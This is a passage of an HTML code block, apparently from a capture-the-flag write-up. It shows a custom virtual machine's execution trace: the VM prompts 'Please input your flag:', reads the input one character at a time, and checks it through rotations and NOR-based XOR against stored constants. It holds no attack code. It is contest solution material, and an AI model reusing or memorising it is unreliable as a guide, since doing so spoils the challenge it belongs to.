class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br><span class="line">574</span><br><span class="line">575</span><br><span class="line">576</span><br><span class="line">577</span><br><span class="line">578</span><br><span class="line">579</span><br><span class="line">580</span><br><span class="line">581</span><br><span class="line">582</span><br><span class="line">583</span><br><span class="line">584</span><br><span class="line">585</span><br><span class="line">586</span><br><span class="line">587</span><br><span class="line">588</span><br><span class="line">589</span><br><span class="line">590</span><br><span class="line">591</span><br><span class="line">592</span><br><span class="line">593</span><br><span class="line">594</span><br><span class="line">595</span><br><span class="line">596</span><br><span class="line">597</span><br><span class="line">598</span><br><span class="line">599</span><br><span class="line">600</span><br><span class="line">601</span><br><span class="line">602</span><br><span class="line">603</span><br><span class="line">604</span><br><span class="line">605</span><br><span class="line">606</span><br><span class="line">607</span><br><span class="line">608</span><br><span class="line">609</span><br><span class="line">610</span><br><span class="line">611</span><br><span class="line">612</span><br><span class="line">613</span><br><span class="line">614</span><br><span class="line">615</span><br><span class="line">616</span><br><span class="line">617</span><br><span class="line">618</span><br><span class="line">619</span><br><span class="line">620</span><br><span class="line">621</span><br><span class="line">622</span><br><span class="line">623</span><br><span class="line">624</span><br><span class="line">625</span><br><span class="line">626</span><br><span class="line">627</span><br><span class="line">628</span><br><span class="line">629</span><br><span class="line">630</span><br><span class="line">631</span><br><span class="line">632</span><br><span class="line">633</span><br><span class="line">634</span><br><span class="line">635</span><br><span class="line">636</span><br><span class="line">637</span><br><span class="line">638</span><br><span class="line">639</span><br><span class="line">640</span><br><span class="line">641</span><br><span class="line">642</span><br><span class="line">643</span><br><span class="line">644</span><br><span class="line">645</span><br><span class="line">646</span><br><span class="line">647</span><br><span class="line">648</span><br><span class="line">649</span><br><span class="line">650</span><br><span class="line">651</span><br><span class="line">652</span><br><span class="line">653</span><br><span class="line">654</span><br><span class="line">655</span><br><span class="line">656</span><br><span class="line">657</span><br><span class="line">658</span><br><span class="line">659</span><br><span class="line">660</span><br><span class="line">661</span><br><span class="line">662</span><br><span class="line">663</span><br><span class="line">664</span><br><span class="line">665</span><br><span class="line">666</span><br><span class="line">667</span><br><span class="line">668</span><br><span class="line">669</span><br><span class="line">670</span><br><span class="line">671</span><br><span class="line">672</span><br><span class="line">673</span><br><span class="line">674</span><br><span class="line">675</span><br><span class="line">676</span><br><span class="line">677</span><br><span class="line">678</span><br><span class="line">679</span><br><span class="line">680</span><br><span class="line">681</span><br><span class="line">682</span><br><span class="line">683</span><br><span class="line">684</span><br><span class="line">685</span><br><span class="line">686</span><br><span class="line">687</span><br><span class="line">688</span><br><span class="line">689</span><br><span class="line">690</span><br><span class="line">691</span><br><span class="line">692</span><br><span class="line">693</span><br><span class="line">694</span><br><span class="line">695</span><br><span class="line">696</span><br><span class="line">697</span><br><span class="line">698</span><br><span class="line">699</span><br><span class="line">700</span><br><span class="line">701</span><br><span class="line">702</span><br><span class="line">703</span><br><span class="line">704</span><br><span class="line">705</span><br><span class="line">706</span><br><span class="line">707</span><br><span class="line">708</span><br><span class="line">709</span><br><span class="line">710</span><br><span class="line">711</span><br><span class="line">712</span><br><span class="line">713</span><br><span class="line">714</span><br><span class="line">715</span><br><span class="line">716</span><br><span class="line">717</span><br><span class="line">718</span><br><span class="line">719</span><br><span class="line">720</span><br><span class="line">721</span><br><span class="line">722</span><br><span class="line">723</span><br><span class="line">724</span><br><span class="line">725</span><br><span class="line">726</span><br><span class="line">727</span><br><span class="line">728</span><br><span class="line">729</span><br><span class="line">730</span><br><span class="line">731</span><br><span class="line">732</span><br><span class="line">733</span><br><span class="line">734</span><br><span class="line">735</span><br><span class="line">736</span><br><span class="line">737</span><br><span class="line">738</span><br><span class="line">739</span><br><span class="line">740</span><br><span class="line">741</span><br><span class="line">742</span><br><span class="line">743</span><br><span class="line">744</span><br><span class="line">745</span><br><span class="line">746</span><br><span class="line">747</span><br><span class="line">748</span><br><span class="line">749</span><br><span class="line">750</span><br><span class="line">751</span><br><span class="line">752</span><br><span class="line">753</span><br><span class="line">754</span><br><span class="line">755</span><br><span class="line">756</span><br><span class="line">757</span><br><span class="line">758</span><br><span class="line">759</span><br><span class="line">760</span><br><span class="line">761</span><br><span class="line">762</span><br><span class="line">763</span><br><span class="line">764</span><br><span class="line">765</span><br><span class="line">766</span><br><span class="line">767</span><br><span class="line">768</span><br><span class="line">769</span><br><span class="line">770</span><br><span class="line">771</span><br><span class="line">772</span><br><span class="line">773</span><br><span class="line">774</span><br><span class="line">775</span><br><span class="line">776</span><br><span class="line">777</span><br><span class="line">778</span><br><span class="line">779</span><br><span class="line">780</span><br><span class="line">781</span><br><span class="line">782</span><br><span class="line">783</span><br><span class="line">784</span><br><span class="line">785</span><br><span class="line">786</span><br><span class="line">787</span><br><span class="line">788</span><br><span class="line">789</span><br><span class="line">790</span><br><span class="line">791</span><br><span class="line">792</span><br><span class="line">793</span><br><span class="line">794</span><br><span class="line">795</span><br><span class="line">796</span><br><span class="line">797</span><br><span class="line">798</span><br><span class="line">799</span><br><span class="line">800</span><br><span class="line">801</span><br><span class="line">802</span><br><span class="line">803</span><br><span class="line">804</span><br><span class="line">805</span><br><span class="line">806</span><br><span class="line">807</span><br><span class="line">808</span><br><span class="line">809</span><br><span class="line">810</span><br><span class="line">811</span><br><span class="line">812</span><br><span class="line">813</span><br><span class="line">814</span><br><span class="line">815</span><br><span class="line">816</span><br><span class="line">817</span><br><span class="line">818</span><br><span class="line">819</span><br><span class="line">820</span><br><span class="line">821</span><br><span class="line">822</span><br><span class="line">823</span><br><span class="line">824</span><br><span class="line">825</span><br><span class="line">826</span><br><span class="line">827</span><br><span class="line">828</span><br><span class="line">829</span><br><span class="line">830</span><br><span class="line">831</span><br><span class="line">832</span><br><span class="line">833</span><br><span class="line">834</span><br><span class="line">835</span><br><span class="line">836</span><br><span class="line">837</span><br><span class="line">838</span><br><span class="line">839</span><br><span class="line">840</span><br><span class="line">841</span><br><span class="line">842</span><br><span class="line">843</span><br><span class="line">844</span><br><span class="line">845</span><br><span class="line">846</span><br><span class="line">847</span><br><span class="line">848</span><br><span class="line">849</span><br><span class="line">850</span><br><span class="line">851</span><br><span class="line">852</span><br><span class="line">853</span><br><span class="line">854</span><br><span class="line">855</span><br><span class="line">856</span><br><span class="line">857</span><br><span class="line">858</span><br><span class="line">859</span><br><span class="line">860</span><br><span class="line">861</span><br><span class="line">862</span><br><span class="line">863</span><br><span class="line">864</span><br><span class="line">865</span><br><span class="line">866</span><br><span class="line">867</span><br><span class="line">868</span><br><span class="line">869</span><br><span class="line">870</span><br><span class="line">871</span><br><span class="line">872</span><br><span class="line">873</span><br><span class="line">874</span><br><span class="line">875</span><br><span class="line">876</span><br><span class="line">877</span><br><span class="line">878</span><br><span class="line">879</span><br><span class="line">880</span><br><span class="line">881</span><br><span class="line">882</span><br><span class="line">883</span><br><span class="line">884</span><br><span class="line">885</span><br><span class="line">886</span><br><span class="line">887</span><br><span class="line">888</span><br><span class="line">889</span><br><span class="line">890</span><br><span class="line">891</span><br><span class="line">892</span><br><span class="line">893</span><br><span class="line">894</span><br><span class="line">895</span><br><span class="line">896</span><br><span class="line">897</span><br><span class="line">898</span><br><span class="line">899</span><br><span class="line">900</span><br><span class="line">901</span><br><span class="line">902</span><br><span class="line">903</span><br><span class="line">904</span><br><span class="line">905</span><br><span class="line">906</span><br><span class="line">907</span><br><span class="line">908</span><br><span class="line">909</span><br><span class="line">910</span><br><span class="line">911</span><br><span class="line">912</span><br><span class="line">913</span><br><span class="line">914</span><br><span class="line">915</span><br><span class="line">916</span><br><span class="line">917</span><br><span class="line">918</span><br><span class="line">919</span><br><span class="line">920</span><br><span class="line">921</span><br></pre></td><td class="code"><pre><span class="line">0x12c:putchar(&#x27;P&#x27;)</span><br><span class="line">0x140:putchar(&#x27;l&#x27;)</span><br><span class="line">0x154:putchar(&#x27;e&#x27;)</span><br><span class="line">0x168:putchar(&#x27;a&#x27;)</span><br><span class="line">0x17c:putchar(&#x27;s&#x27;)</span><br><span class="line">0x190:putchar(&#x27;e&#x27;)</span><br><span class="line">0x1a4:putchar(&#x27; &#x27;)</span><br><span class="line">0x1b8:putchar(&#x27;i&#x27;)</span><br><span class="line">0x1cc:putchar(&#x27;n&#x27;)</span><br><span class="line">0x1e0:putchar(&#x27;p&#x27;)</span><br><span class="line">0x1f4:putchar(&#x27;u&#x27;)</span><br><span class="line">0x208:putchar(&#x27;t&#x27;)</span><br><span class="line">0x21c:putchar(&#x27; &#x27;)</span><br><span class="line">0x230:putchar(&#x27;y&#x27;)</span><br><span class="line">0x244:putchar(&#x27;o&#x27;)</span><br><span class="line">0x258:putchar(&#x27;u&#x27;)</span><br><span class="line">0x26c:putchar(&#x27;r&#x27;)</span><br><span class="line">0x280:putchar(&#x27; &#x27;)</span><br><span class="line">0x294:putchar(&#x27;f&#x27;)</span><br><span class="line">0x2a8:putchar(&#x27;l&#x27;)</span><br><span class="line">0x2bc:putchar(&#x27;a&#x27;)</span><br><span class="line">0x2d0:putchar(&#x27;g&#x27;)</span><br><span class="line">0x2e4:putchar(&#x27;:&#x27;)</span><br><span class="line">0x2f8:reg=0x307</span><br><span class="line">[*] ip=0x303:set ip to 0x307</span><br><span class="line">[*] regjump</span><br><span class="line">0x307:*(0x2137)=getchar()</span><br><span class="line">0x31b:*(0x2138)=getchar()</span><br><span class="line">0x32f:*(0x2139)=getchar()</span><br><span class="line">0x343:*(0x213a)=getchar()</span><br><span class="line">0x357:*(0x213b)=getchar()</span><br><span class="line">0x36b:*(0x213c)=getchar()</span><br><span class="line">0x37f:*(0x213d)=getchar()</span><br><span class="line">0x393:*(0x213e)=getchar()</span><br><span class="line">0x3a7:*(0x213f)=getchar()</span><br><span class="line">0x3bb:*(0x2140)=getchar()</span><br><span class="line">0x3cf:*(0x2141)=getchar()</span><br><span class="line">0x3e3:*(0x2142)=getchar()</span><br><span class="line">0x3f7:*(0x2143)=getchar()</span><br><span class="line">0x40b:*(0x2144)=getchar()</span><br><span class="line">0x41f:*(0x2145)=getchar()</span><br><span class="line">0x433:*(0x2146)=getchar()</span><br><span class="line">0x447:*(0x2147)=getchar()</span><br><span class="line">0x45b:*(0x2148)=getchar()</span><br><span class="line">0x46f:*(0x2149)=getchar()</span><br><span class="line">0x483:*(0x214a)=getchar()</span><br><span class="line">0x497:*(0x214b)=getchar()</span><br><span class="line">0x4ab:*(0x214c)=getchar()</span><br><span class="line">0x4bf:*(0x214d)=getchar()</span><br><span class="line">0x4d3:*(0x214e)=getchar()</span><br><span class="line">0x4e7:*(0x214f)=getchar()</span><br><span class="line">0x4fb:*(0x2150)=getchar()</span><br><span class="line">0x50f:*(0x2151)=getchar()</span><br><span class="line">0x523:*(0x2152)=getchar()</span><br><span class="line">0x537:*(0x2153)=getchar()</span><br><span class="line">0x54b:*(0x2154)=getchar()</span><br><span class="line">0x55f:*(0x2155)=getchar()</span><br><span class="line">0x573:*(0x2156)=getchar()</span><br><span class="line">0x587:*(0x2157)=getchar()</span><br><span class="line">0x59b:*(0x2158)=getchar()</span><br><span class="line">0x5af:*(0x2159)=getchar()</span><br><span class="line">0x5c3:*(0x202f)=*(0x2137)</span><br><span class="line">0x67d:rol(*(0x202f), 15)</span><br><span class="line">[*] ip=0x67d:set ip to 0x686</span><br><span class="line">0x686:*(0x684)=~(*(0x202f))</span><br><span class="line">0x689:*(0x685)=~(*(0x212c))</span><br><span class="line">[*] ip=0x68c:set ip to 0x695</span><br><span class="line">0x695:*(0x693)=~(*(0x202f))</span><br><span class="line">0x698:*(0x694)=~(*(0x685))</span><br><span class="line">0x69b:reg=~(*(0x693)|*(0x694))</span><br><span class="line">0x69e:*(0x685)=reg</span><br><span class="line">[*] ip=0x6a4:set ip to 0x6ad</span><br><span class="line">0x6ad:*(0x6ab)=~(*(0x212c))</span><br><span class="line">0x6b0:*(0x6ac)=~(*(0x684))</span><br><span class="line">0x6b3:reg=~(*(0x6ab)|*(0x6ac))</span><br><span class="line">0x6b6:*(0x684)=reg</span><br><span class="line">0x6bc:reg=~(*(0x684)|*(0x685))</span><br><span class="line">0x6bf:*(0x202f)=~reg</span><br><span class="line">0x6c2:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x6c5:*(0x306)=~reg</span><br><span class="line">0x6c8:*(0x202f)=*(0x2138)</span><br><span class="line">0x782:rol(*(0x202f), 15)</span><br><span class="line">[*] ip=0x782:set ip to 0x78b</span><br><span class="line">0x78b:*(0x789)=~(*(0x202f))</span><br><span class="line">0x78e:*(0x78a)=~(*(0x212b))</span><br><span class="line">[*] ip=0x791:set ip to 0x79a</span><br><span class="line">0x79a:*(0x798)=~(*(0x202f))</span><br><span class="line">0x79d:*(0x799)=~(*(0x78a))</span><br><span class="line">0x7a0:reg=~(*(0x798)|*(0x799))</span><br><span class="line">0x7a3:*(0x78a)=reg</span><br><span class="line">[*] ip=0x7a9:set ip to 0x7b2</span><br><span class="line">0x7b2:*(0x7b0)=~(*(0x212b))</span><br><span class="line">0x7b5:*(0x7b1)=~(*(0x789))</span><br><span class="line">0x7b8:reg=~(*(0x7b0)|*(0x7b1))</span><br><span class="line">0x7bb:*(0x789)=reg</span><br><span class="line">0x7c1:reg=~(*(0x789)|*(0x78a))</span><br><span class="line">0x7c4:*(0x202f)=~reg</span><br><span class="line">0x7c7:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x7ca:*(0x306)=~reg</span><br><span class="line">0x7cd:*(0x202f)=*(0x2139)</span><br><span class="line">0x887:rol(*(0x202f), 15)</span><br><span class="line">[*] ip=0x887:set ip to 0x890</span><br><span class="line">0x890:*(0x88e)=~(*(0x202f))</span><br><span class="line">0x893:*(0x88f)=~(*(0x2123))</span><br><span class="line">[*] ip=0x896:set ip to 0x89f</span><br><span class="line">0x89f:*(0x89d)=~(*(0x202f))</span><br><span class="line">0x8a2:*(0x89e)=~(*(0x88f))</span><br><span class="line">0x8a5:reg=~(*(0x89d)|*(0x89e))</span><br><span class="line">0x8a8:*(0x88f)=reg</span><br><span class="line">[*] ip=0x8ae:set ip to 0x8b7</span><br><span class="line">0x8b7:*(0x8b5)=~(*(0x2123))</span><br><span class="line">0x8ba:*(0x8b6)=~(*(0x88e))</span><br><span class="line">0x8bd:reg=~(*(0x8b5)|*(0x8b6))</span><br><span class="line">0x8c0:*(0x88e)=reg</span><br><span class="line">0x8c6:reg=~(*(0x88e)|*(0x88f))</span><br><span class="line">0x8c9:*(0x202f)=~reg</span><br><span class="line">0x8cc:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x8cf:*(0x306)=~reg</span><br><span class="line">0x8d2:*(0x202f)=*(0x213a)</span><br><span class="line">0x98c:rol(*(0x202f), 15)</span><br><span class="line">[*] ip=0x98c:set ip to 0x995</span><br><span class="line">0x995:*(0x993)=~(*(0x202f))</span><br><span class="line">0x998:*(0x994)=~(*(0x212c))</span><br><span class="line">[*] ip=0x99b:set ip to 0x9a4</span><br><span class="line">0x9a4:*(0x9a2)=~(*(0x202f))</span><br><span class="line">0x9a7:*(0x9a3)=~(*(0x994))</span><br><span class="line">0x9aa:reg=~(*(0x9a2)|*(0x9a3))</span><br><span class="line">0x9ad:*(0x994)=reg</span><br><span class="line">[*] ip=0x9b3:set ip to 0x9bc</span><br><span class="line">0x9bc:*(0x9ba)=~(*(0x212c))</span><br><span class="line">0x9bf:*(0x9bb)=~(*(0x993))</span><br><span class="line">0x9c2:reg=~(*(0x9ba)|*(0x9bb))</span><br><span class="line">0x9c5:*(0x993)=reg</span><br><span class="line">0x9cb:reg=~(*(0x993)|*(0x994))</span><br><span class="line">0x9ce:*(0x202f)=~reg</span><br><span class="line">0x9d1:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x9d4:*(0x306)=~reg</span><br><span class="line">0x9d7:*(0x202f)=*(0x213b)</span><br><span class="line">0xa91:rol(*(0x202f), 15)</span><br><span class="line">[*] ip=0xa91:set ip to 0xa9a</span><br><span class="line">0xa9a:*(0xa98)=~(*(0x202f))</span><br><span class="line">0xa9d:*(0xa99)=~(*(0x2125))</span><br><span class="line">[*] ip=0xaa0:set ip to 0xaa9</span><br><span class="line">0xaa9:*(0xaa7)=~(*(0x202f))</span><br><span class="line">0xaac:*(0xaa8)=~(*(0xa99))</span><br><span class="line">0xaaf:reg=~(*(0xaa7)|*(0xaa8))</span><br><span class="line">0xab2:*(0xa99)=reg</span><br><span class="line">[*] ip=0xab8:set ip to 0xac1</span><br><span class="line">0xac1:*(0xabf)=~(*(0x2125))</span><br><span class="line">0xac4:*(0xac0)=~(*(0xa98))</span><br><span class="line">0xac7:reg=~(*(0xabf)|*(0xac0))</span><br><span class="line">0xaca:*(0xa98)=reg</span><br><span class="line">0xad0:reg=~(*(0xa98)|*(0xa99))</span><br><span class="line">0xad3:*(0x202f)=~reg</span><br><span class="line">0xad6:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0xad9:*(0x306)=~reg</span><br><span class="line">0xadc:*(0x202f)=*(0x213c)</span><br><span class="line">0xb96:rol(*(0x202f), 15)</span><br><span class="line">[*] ip=0xb96:set ip to 0xb9f</span><br><span class="line">0xb9f:*(0xb9d)=~(*(0x202f))</span><br><span class="line">0xba2:*(0xb9e)=~(*(0x211b))</span><br><span class="line">[*] ip=0xba5:set ip to 0xbae</span><br><span class="line">0xbae:*(0xbac)=~(*(0x202f))</span><br><span class="line">0xbb1:*(0xbad)=~(*(0xb9e))</span><br><span class="line">0xbb4:reg=~(*(0xbac)|*(0xbad))</span><br><span class="line">0xbb7:*(0xb9e)=reg</span><br><span class="line">[*] ip=0xbbd:set ip to 0xbc6</span><br><span class="line">0xbc6:*(0xbc4)=~(*(0x211b))</span><br><span class="line">0xbc9:*(0xbc5)=~(*(0xb9d))</span><br><span class="line">0xbcc:reg=~(*(0xbc4)|*(0xbc5))</span><br><span class="line">0xbcf:*(0xb9d)=reg</span><br><span class="line">0xbd5:reg=~(*(0xb9d)|*(0xb9e))</span><br><span class="line">0xbd8:*(0x202f)=~reg</span><br><span class="line">0xbdb:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0xbde:*(0x306)=~reg</span><br><span class="line">0xbe1:*(0x202f)=*(0x213d)</span><br><span class="line">0xc9b:rol(*(0x202f), 15)</span><br><span class="line">[*] ip=0xc9b:set ip to 0xca4</span><br><span class="line">0xca4:*(0xca2)=~(*(0x202f))</span><br><span class="line">0xca7:*(0xca3)=~(*(0x2127))</span><br><span class="line">[*] ip=0xcaa:set ip to 0xcb3</span><br><span class="line">0xcb3:*(0xcb1)=~(*(0x202f))</span><br><span class="line">0xcb6:*(0xcb2)=~(*(0xca3))</span><br><span class="line">0xcb9:reg=~(*(0xcb1)|*(0xcb2))</span><br><span class="line">0xcbc:*(0xca3)=reg</span><br><span class="line">[*] ip=0xcc2:set ip to 0xccb</span><br><span class="line">0xccb:*(0xcc9)=~(*(0x2127))</span><br><span class="line">0xcce:*(0xcca)=~(*(0xca2))</span><br><span class="line">0xcd1:reg=~(*(0xcc9)|*(0xcca))</span><br><span class="line">0xcd4:*(0xca2)=reg</span><br><span class="line">0xcda:reg=~(*(0xca2)|*(0xca3))</span><br><span class="line">0xcdd:*(0x202f)=~reg</span><br><span class="line">0xce0:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0xce3:*(0x306)=~reg</span><br><span class="line">0xce6:*(0x202f)=*(0x213e)</span><br><span class="line">0xda0:rol(*(0x202f), 15)</span><br><span class="line">[*] ip=0xda0:set ip to 0xda9</span><br><span class="line">0xda9:*(0xda7)=~(*(0x202f))</span><br><span class="line">0xdac:*(0xda8)=~(*(0x2135))</span><br><span class="line">[*] ip=0xdaf:set ip to 0xdb8</span><br><span class="line">0xdb8:*(0xdb6)=~(*(0x202f))</span><br><span class="line">0xdbb:*(0xdb7)=~(*(0xda8))</span><br><span class="line">0xdbe:reg=~(*(0xdb6)|*(0xdb7))</span><br><span class="line">0xdc1:*(0xda8)=reg</span><br><span class="line">[*] ip=0xdc7:set ip to 0xdd0</span><br><span class="line">0xdd0:*(0xdce)=~(*(0x2135))</span><br><span class="line">0xdd3:*(0xdcf)=~(*(0xda7))</span><br><span class="line">0xdd6:reg=~(*(0xdce)|*(0xdcf))</span><br><span class="line">0xdd9:*(0xda7)=reg</span><br><span class="line">0xddf:reg=~(*(0xda7)|*(0xda8))</span><br><span class="line">0xde2:*(0x202f)=~reg</span><br><span class="line">0xde5:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0xde8:*(0x306)=~reg</span><br><span class="line">0xdeb:*(0x202f)=*(0x213f)</span><br><span class="line">0xea5:rol(*(0x202f), 15)</span><br><span class="line">[*] ip=0xea5:set ip to 0xeae</span><br><span class="line">0xeae:*(0xeac)=~(*(0x202f))</span><br><span class="line">0xeb1:*(0xead)=~(*(0x212b))</span><br><span class="line">[*] ip=0xeb4:set ip to 0xebd</span><br><span class="line">0xebd:*(0xebb)=~(*(0x202f))</span><br><span class="line">0xec0:*(0xebc)=~(*(0xead))</span><br><span class="line">0xec3:reg=~(*(0xebb)|*(0xebc))</span><br><span class="line">0xec6:*(0xead)=reg</span><br><span class="line">[*] ip=0xecc:set ip to 0xed5</span><br><span class="line">0xed5:*(0xed3)=~(*(0x212b))</span><br><span class="line">0xed8:*(0xed4)=~(*(0xeac))</span><br><span class="line">0xedb:reg=~(*(0xed3)|*(0xed4))</span><br><span class="line">0xede:*(0xeac)=reg</span><br><span class="line">0xee4:reg=~(*(0xeac)|*(0xead))</span><br><span class="line">0xee7:*(0x202f)=~reg</span><br><span class="line">0xeea:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0xeed:*(0x306)=~reg</span><br><span class="line">[*] ip=0xef0:set ip to 0xef9</span><br><span class="line">0xef9:*(0xef7)=~(*(0x2140))</span><br><span class="line">0xefc:*(0xef8)=~(*(0x2118))</span><br><span class="line">[*] ip=0xeff:set ip to 0xf08</span><br><span class="line">0xf08:*(0xf06)=~(*(0x2140))</span><br><span class="line">0xf0b:*(0xf07)=~(*(0xef8))</span><br><span class="line">0xf0e:reg=~(*(0xf06)|*(0xf07))</span><br><span class="line">0xf11:*(0xef8)=reg</span><br><span class="line">[*] ip=0xf17:set ip to 0xf20</span><br><span class="line">0xf20:*(0xf1e)=~(*(0x2118))</span><br><span class="line">0xf23:*(0xf1f)=~(*(0xef7))</span><br><span class="line">0xf26:reg=~(*(0xf1e)|*(0xf1f))</span><br><span class="line">0xf29:*(0xef7)=reg</span><br><span class="line">0xf2f:reg=~(*(0xef7)|*(0xef8))</span><br><span class="line">0xf32:*(0x202f)=~reg</span><br><span class="line">[*] ip=0xf35:set ip to 0xf3e</span><br><span class="line">0xf3e:*(0xf3c)=~(*(0x202f))</span><br><span class="line">0xf41:*(0xf3d)=~(*(0x2133))</span><br><span class="line">[*] ip=0xf44:set ip to 0xf4d</span><br><span class="line">0xf4d:*(0xf4b)=~(*(0x202f))</span><br><span class="line">0xf50:*(0xf4c)=~(*(0xf3d))</span><br><span class="line">0xf53:reg=~(*(0xf4b)|*(0xf4c))</span><br><span class="line">0xf56:*(0xf3d)=reg</span><br><span class="line">[*] ip=0xf5c:set ip to 0xf65</span><br><span class="line">0xf65:*(0xf63)=~(*(0x2133))</span><br><span class="line">0xf68:*(0xf64)=~(*(0xf3c))</span><br><span class="line">0xf6b:reg=~(*(0xf63)|*(0xf64))</span><br><span class="line">0xf6e:*(0xf3c)=reg</span><br><span class="line">0xf74:reg=~(*(0xf3c)|*(0xf3d))</span><br><span class="line">0xf77:*(0x202f)=~reg</span><br><span class="line">0xf7a:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0xf7d:*(0x306)=~reg</span><br><span class="line">[*] ip=0xf80:set ip to 0xf89</span><br><span class="line">0xf89:*(0xf87)=~(*(0x2141))</span><br><span class="line">0xf8c:*(0xf88)=~(*(0x2116))</span><br><span class="line">[*] ip=0xf8f:set ip to 0xf98</span><br><span class="line">0xf98:*(0xf96)=~(*(0x2141))</span><br><span class="line">0xf9b:*(0xf97)=~(*(0xf88))</span><br><span class="line">0xf9e:reg=~(*(0xf96)|*(0xf97))</span><br><span class="line">0xfa1:*(0xf88)=reg</span><br><span class="line">[*] ip=0xfa7:set ip to 0xfb0</span><br><span class="line">0xfb0:*(0xfae)=~(*(0x2116))</span><br><span class="line">0xfb3:*(0xfaf)=~(*(0xf87))</span><br><span class="line">0xfb6:reg=~(*(0xfae)|*(0xfaf))</span><br><span class="line">0xfb9:*(0xf87)=reg</span><br><span class="line">0xfbf:reg=~(*(0xf87)|*(0xf88))</span><br><span class="line">0xfc2:*(0x202f)=~reg</span><br><span class="line">[*] ip=0xfc5:set ip to 0xfce</span><br><span class="line">0xfce:*(0xfcc)=~(*(0x202f))</span><br><span class="line">0xfd1:*(0xfcd)=~(*(0x211f))</span><br><span class="line">[*] ip=0xfd4:set ip to 0xfdd</span><br><span class="line">0xfdd:*(0xfdb)=~(*(0x202f))</span><br><span class="line">0xfe0:*(0xfdc)=~(*(0xfcd))</span><br><span class="line">0xfe3:reg=~(*(0xfdb)|*(0xfdc))</span><br><span class="line">0xfe6:*(0xfcd)=reg</span><br><span class="line">[*] ip=0xfec:set ip to 0xff5</span><br><span class="line">0xff5:*(0xff3)=~(*(0x211f))</span><br><span class="line">0xff8:*(0xff4)=~(*(0xfcc))</span><br><span class="line">0xffb:reg=~(*(0xff3)|*(0xff4))</span><br><span class="line">0xffe:*(0xfcc)=reg</span><br><span class="line">0x1004:reg=~(*(0xfcc)|*(0xfcd))</span><br><span class="line">0x1007:*(0x202f)=~reg</span><br><span class="line">0x100a:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x100d:*(0x306)=~reg</span><br><span class="line">0x1010:*(0x202f)=*(0x2142)</span><br><span class="line">0x10ca:rol(*(0x202f), 15)</span><br><span class="line">[*] ip=0x10ca:set ip to 0x10d3</span><br><span class="line">0x10d3:*(0x10d1)=~(*(0x202f))</span><br><span class="line">0x10d6:*(0x10d2)=~(*(0x2132))</span><br><span class="line">[*] ip=0x10d9:set ip to 0x10e2</span><br><span class="line">0x10e2:*(0x10e0)=~(*(0x202f))</span><br><span class="line">0x10e5:*(0x10e1)=~(*(0x10d2))</span><br><span class="line">0x10e8:reg=~(*(0x10e0)|*(0x10e1))</span><br><span class="line">0x10eb:*(0x10d2)=reg</span><br><span class="line">[*] ip=0x10f1:set ip to 0x10fa</span><br><span class="line">0x10fa:*(0x10f8)=~(*(0x2132))</span><br><span class="line">0x10fd:*(0x10f9)=~(*(0x10d1))</span><br><span class="line">0x1100:reg=~(*(0x10f8)|*(0x10f9))</span><br><span class="line">0x1103:*(0x10d1)=reg</span><br><span class="line">0x1109:reg=~(*(0x10d1)|*(0x10d2))</span><br><span class="line">0x110c:*(0x202f)=~reg</span><br><span class="line">0x110f:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x1112:*(0x306)=~reg</span><br><span class="line">0x1115:*(0x202f)=*(0x2143)</span><br><span 